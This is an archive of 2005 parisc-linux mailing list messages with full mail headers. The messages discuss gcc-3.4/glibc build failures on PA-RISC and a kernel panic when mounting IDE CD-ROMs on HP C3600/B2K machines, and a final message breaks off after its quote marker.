Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623772 14416 80.91.229.3 (22 Nov 2014 02:36:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Apr 2005 03:25:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx069) with SMTP; 28 Apr 2005 05:25:02 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D11357D667;
	Wed, 27 Apr 2005 21:25:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27831-04; Wed, 27 Apr 2005 21:25:02 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C59987D652;
	Wed, 27 Apr 2005 21:25:01 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D8B7A7D627
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Apr 2005 21:24:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27100-10 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Apr 2005 21:24:59 -0600 (MDT)
Original-Received: from smtp.gentoo.org (smtp.gentoo.org [134.68.220.30])
	by free.linux.hp.com (Postfix) with ESMTP id 677D37D413
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Apr 2005 21:24:59 -0600 (MDT)
Original-Received: from localhost ([127.0.0.1] helo=home.wh0rd.org)
	by smtp.gentoo.org with esmtp (Exim 4.43) id 1DQze3-0006Mc-VT
	for parisc-linux@lists.parisc-linux.org; Thu, 28 Apr 2005 03:24:56 +0000
Original-Received: (qmail 4875 invoked from network); 27 Apr 2005 23:20:42 -0400
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 27 Apr 2005 23:20:42 -0400
User-Agent: KMail/1.8
In-Reply-To: <20050428022313.GD496@baldric.uwo.ca>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 2DICYoEPeSE57L6WZHQhaXN2IGRvbwCW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22674

On Wednesday 27 April 2005 10:23 pm, Carlos O'Donell wrote:
> On Wed, Apr 27, 2005 at 07:35:53PM -0400, Mike Frysinger wrote:
> > On Wednesday 27 April 2005 01:15 pm, Carlos O'Donell wrote:
> > > On Wed, Apr 27, 2005 at 01:00:20PM -0400, Carlos O'Donell wrote:
> > > > NOTE: dl_make_ftpr is actually compiled *into* the executable at this
> > > > point, since it's static and all the loader code is included.
> > >
> > > On second thought, I'm sure _dl_make_fptr from the dynamically loaded
> > > ld.so.1 is being used. So I'm not quite sure what distinguishes this
> > > case from any other, except that it crashes on the first call to
> > > _dl_make_fptr.
> >
> > which basically looks like when you try to run the new ld.so it segfaults
> > ? we've been testing just about every version of gcc-3.4 thus far on
> > parisc and it has yet to build us a glibc w/out segfaults ;)
>
> It builds, and runs all the testsuite, except for these two tests.
> Perhaps debian has gcc-3.4 patches that gentoo is missing?

perhaps ... which version of gcc/glibc are you playing with in debian ?
-mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.3 vs. 3.4
Date: Fri, 29 Apr 2005 09:01:47 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <17009.56283.420099.510745@gargle.gargle.HOWL>
References: <20050427170020.GA496@baldric.uwo.ca>
	<200504271935.53614.vapier@gentoo.org>
	<20050428022313.GD496@baldric.uwo.ca>
	<200504272326.10869.vapier@gentoo.org>
	<20050428122206.GE496@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623772 14421 80.91.229.3 (22 Nov 2014 02:36:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Apr 2005 07:02:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx014) with SMTP; 29 Apr 2005 09:02:03 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1BC167D690;
	Fri, 29 Apr 2005 01:02:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06148-07; Fri, 29 Apr 2005 01:02:03 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8567E7D69A;
	Fri, 29 Apr 2005 01:02:02 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0617A7D68E
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Apr 2005 01:02:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06138-05 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Apr 2005 01:01:59 -0600 (MDT)
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by free.linux.hp.com (Postfix) with ESMTP id 172537D68B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Apr 2005 01:01:58 -0600 (MDT)
Original-Received: from mailhost.cs.tu-berlin.de (postfix@mail.cs.tu-berlin.de
	[130.149.17.13])
	by mail.cs.tu-berlin.de (8.9.3p2/8.9.3) with ESMTP id JAA27465;
	Fri, 29 Apr 2005 09:01:51 +0200 (MEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by mailhost.cs.tu-berlin.de (Postfix) with ESMTP id 802B7F290;
	Fri, 29 Apr 2005 09:01:50 +0200 (MEST)
Original-Received: from mailhost.cs.tu-berlin.de ([127.0.0.1])
	by localhost (bueno [127.0.0.1]) (amavisd-new, port 10224) with ESMTP
	id 24620-04; Fri, 29 Apr 2005 09:01:47 +0200 (MEST) 11326
Original-Received: from bolero.cs.tu-berlin.de (bolero.cs.tu-berlin.de [130.149.19.1])
	by mailhost.cs.tu-berlin.de (Postfix) with ESMTP;
	Fri, 29 Apr 2005 09:01:47 +0200 (MEST)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.12.10+Sun/8.12.8/Submit) id j3T71lrI022470;
	Fri, 29 Apr 2005 09:01:47 +0200 (MEST)
In-Reply-To: <20050428122206.GE496@baldric.uwo.ca>
X-Mailer: VM 7.17 under 21.4 (patch 17) "Jumbo Shrimp" XEmacs Lucid
X-Virus-Scanned: by amavisd-new at cs.tu-berlin.de
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: u74DYtUjeSE57L6WZHQhaXN2IGRvb4CS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22675

Carlos O'Donell writes:
> On Wed, Apr 27, 2005 at 11:26:10PM -0400, Mike Frysinger wrote:
> > > It builds, and runs all the testsuite, except for these two tests.
> > > Perhaps debian has gcc-3.4 patches that gentoo is missing?
> > 
> > perhaps ... which version of gcc/glibc are you playing with in debian ?
> > -mike
> 
> Debian binutils and gcc 3.4, with glibc head + patches.

$ gcc-3.4 --version
gcc-3.4 (GCC) 3.4.4 20050314 (prerelease) (Debian 3.4.3-12)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] IDE cdrom crash when trying to mount it on C3600/B2K
Date: Fri, 29 Apr 2005 20:15:03 +0200
Lines: 71
Approved: news@gmane.org
Message-ID: <20050429201503.35d767d3.gmsoft@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1461017967=="
X-Trace: ger.gmane.org 1416623772 14425 80.91.229.3 (22 Nov 2014 02:36:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Apr 2005 18:15:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx016) with SMTP; 29 Apr 2005 20:15:53 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F3F2A7D678;
	Fri, 29 Apr 2005 12:15:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09621-09; Fri, 29 Apr 2005 12:15:33 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E455E7D67A;
	Fri, 29 Apr 2005 12:15:32 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 96DC77D676
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Apr 2005 12:15:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09621-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Apr 2005 12:15:30 -0600 (MDT)
Original-Received: from outmx002.isp.belgacom.be (outmx002.isp.belgacom.be
	[195.238.3.52])
	by free.linux.hp.com (Postfix) with ESMTP id D27C17D675
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Apr 2005 12:15:29 -0600 (MDT)
Original-Received: from outmx002.isp.belgacom.be (localhost [127.0.0.1])
	by outmx002.isp.belgacom.be (8.12.11/8.12.11/Skynet-OUT-2.22) with
	ESMTP id j3TIFLLx021949 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Apr 2005 20:15:21 +0200 (envelope-from <gmsoft@gentoo.org>)
Original-Received: from playa.lln.tuxicoman.be (177-148.245.81.adsl.skynet.be
	[81.245.148.177])
	by outmx002.isp.belgacom.be (8.12.11/8.12.11/Skynet-OUT-2.22) with
	ESMTP id j3TIFHI9021918 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Apr 2005 20:15:17 +0200 (envelope-from <gmsoft@gentoo.org>)
Original-Received: from gmsoft.lln.tuxicoman.be ([2001:6f8:310:300:210:a7ff:fe10:1a3e]
	helo=localhost)
	by playa.lln.tuxicoman.be with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.43) id 1DRa1P-0001Gh-2p
	for parisc-linux@lists.parisc-linux.org; Fri, 29 Apr 2005 20:15:27 +0200
X-Mailer: Sylpheed version 0.9.99 (GTK+ 1.2.10; i686-pc-linux-gnu)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: jRwAYllqeSE57L6WZHQhaXN2IGRvb0Ca
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22676

--===============1461017967==
Content-Type: multipart/signed; protocol="application/pgp-signature";
	micalg="pgp-sha1";
	boundary="Signature=_Fri__29_Apr_2005_20_15_03_+0200_acdA=M1vQRUJtqo_"

--Signature=_Fri__29_Apr_2005_20_15_03_+0200_acdA=M1vQRUJtqo_
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 7bit

Hello guys,


I have experienced a really bad bug when trying to create a installation
cd for gentoo. When I try to mount a ide cd I only have this :


hope root # mount /dev/hda /mnt/cdrom/
Kernel panic - not syncing: Kernel Fault


There is no stack trace or anything else.

It only happends when trying to read on the cd. Reading the cdrom
parameters works fine. This is of course with DMA disabled.
Trying to read a single block with dd also crash the box.

I'm not the only one who experienced this. I have reports from several
people with several kernels from 2.6.10-pa11 to the latest one. I don't
know about the older kernels.

I don't have the skills to fix this. I would be really happy if someone
could have a look at this since ide cdrom support is kinda required for
install cdrom :)

If you need more info, I'd be glad to provide it.


TIA

-- 
Guy Martin
Gentoo Linux - HPPA port Lead / IPv6 team


--Signature=_Fri__29_Apr_2005_20_15_03_+0200_acdA=M1vQRUJtqo_
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.1 (GNU/Linux)

iD8DBQFCcnmqrpShrnoH4YYRAiMcAJ9LnIEsWHfCioZ95VnedE5EuCM2AgCfaBXb
5XcIY9pZ4RbZqe9ngf62n/I=
=67Fl
-----END PGP SIGNATURE-----

--Signature=_Fri__29_Apr_2005_20_15_03_+0200_acdA=M1vQRUJtqo_--

--===============1461017967==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1461017967==--



From - Thu Nov 08 21:33:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Max Grabert <parisc@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] IDE cdrom crash when trying to mount it on
	C3600/B2K
Date: Fri, 29 Apr 2005 19:48:35 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <e6eae02905042911485333ddb0@mail.gmail.com>
References: <20050429201503.35d767d3.gmsoft@gentoo.org>
Reply-To: Max Grabert <parisc@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623773 14426 80.91.229.3 (22 Nov 2014 02:36:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Guy Martin <gmsoft@gentoo.org>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Apr 2005 18:49:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx062) with SMTP; 29 Apr 2005 20:49:02 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2B3DF7D67C;
	Fri, 29 Apr 2005 12:48:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10108-07; Fri, 29 Apr 2005 12:48:44 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 890B07D67D;
	Fri, 29 Apr 2005 12:48:43 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3D14B7D67B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Apr 2005 12:48:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10054-05 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Apr 2005 12:48:39 -0600 (MDT)
Original-Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.199])
	by free.linux.hp.com (Postfix) with ESMTP id A528A7D67A
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Apr 2005 12:48:39 -0600 (MDT)
Original-Received: by wproxy.gmail.com with SMTP id 36so1208263wra
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Apr 2005 11:48:35 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=XWgCGVSRKx2X0jcEIUtE0+5lBHa7TiW+KeDef/dDZsyGFjBjYlt3wjJzBM/GEpGgux+pBEK6w2NRaR8MBcCdU+1iyIaelqnKpqX2PAOG0jLh50of/B6O8hW+bBcyOS5DFokqLq5xWARgsKsS50vEl8fCkupmF21sR6a83v9wAFQ=
Original-Received: by 10.54.4.75 with SMTP id 75mr1159878wrd;
	Fri, 29 Apr 2005 11:48:35 -0700 (PDT)
Original-Received: by 10.54.57.13 with HTTP; Fri, 29 Apr 2005 11:48:35 -0700 (PDT)
In-Reply-To: <20050429201503.35d767d3.gmsoft@gentoo.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: yeQAYqpWeSE57L6WZHQhaXN2IGRvb4Ca
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22677

On 4/29/05, Guy Martin <gmsoft@gentoo.org> wrote:
> Hello guys,
>=20
> I have experienced a really bad bug when trying to create a installation
> cd for gentoo. When I try to mount a ide cd I only have this :
>=20
> hope root # mount /dev/hda /mnt/cdrom/
> Kernel panic - not syncing: Kernel Fault

This is a known problem, search the p-l m-l.
It only happens with the ide-cd driver, so try to use
ide-scsi instead ... "works for me" (tm).

Greetings, Max
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] head.S: a small typo
Date: Fri, 29 Apr 2005 07:25:55 +0200
Lines: 53
Approved: news@gmane.org
Message-ID: <426F252F00001172@mail-4-bnl.tiscali.it>
References: <200504281752.j3SHqBeE005408@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623773 14432 80.91.229.3 (22 Nov 2014 02:36:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Apr 2005 05:26:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx046) with SMTP; 29 Apr 2005 07:26:27 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B1FFC7D69A;
	Thu, 28 Apr 2005 23:26:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05226-07; Thu, 28 Apr 2005 23:26:14 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 134867D687;
	Thu, 28 Apr 2005 23:26:14 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 56A107D684
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Apr 2005 23:26:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05226-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Apr 2005 23:26:08 -0600 (MDT)
Original-Received: from mrqout1.tiscali.it (mrqout1.tiscali.it [195.130.225.11])
	by free.linux.hp.com (Postfix) with ESMTP id B2E697D683
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Apr 2005 23:26:08 -0600 (MDT)
Original-Received: from mail-4-bnl.mail.tiscali.sys ([10.39.115.134]
	helo=mail-4-bnl.tiscali.it)
	by mrqout1.tiscali.it with esmtp (Exim 4.43)
	id 1DRO0j-0003e5-7e; Fri, 29 Apr 2005 07:26:01 +0200
Original-Received: from [57.67.177.33] by mail-4-bnl.tiscali.it with HTTP;
	Fri, 29 Apr 2005 07:25:55 +0200
In-Reply-To: <200504281752.j3SHqBeE005408@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 06ADYuVQeSE57L6WZHQhaXN2IGRvb0Cb
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22678


> -- Original Message --
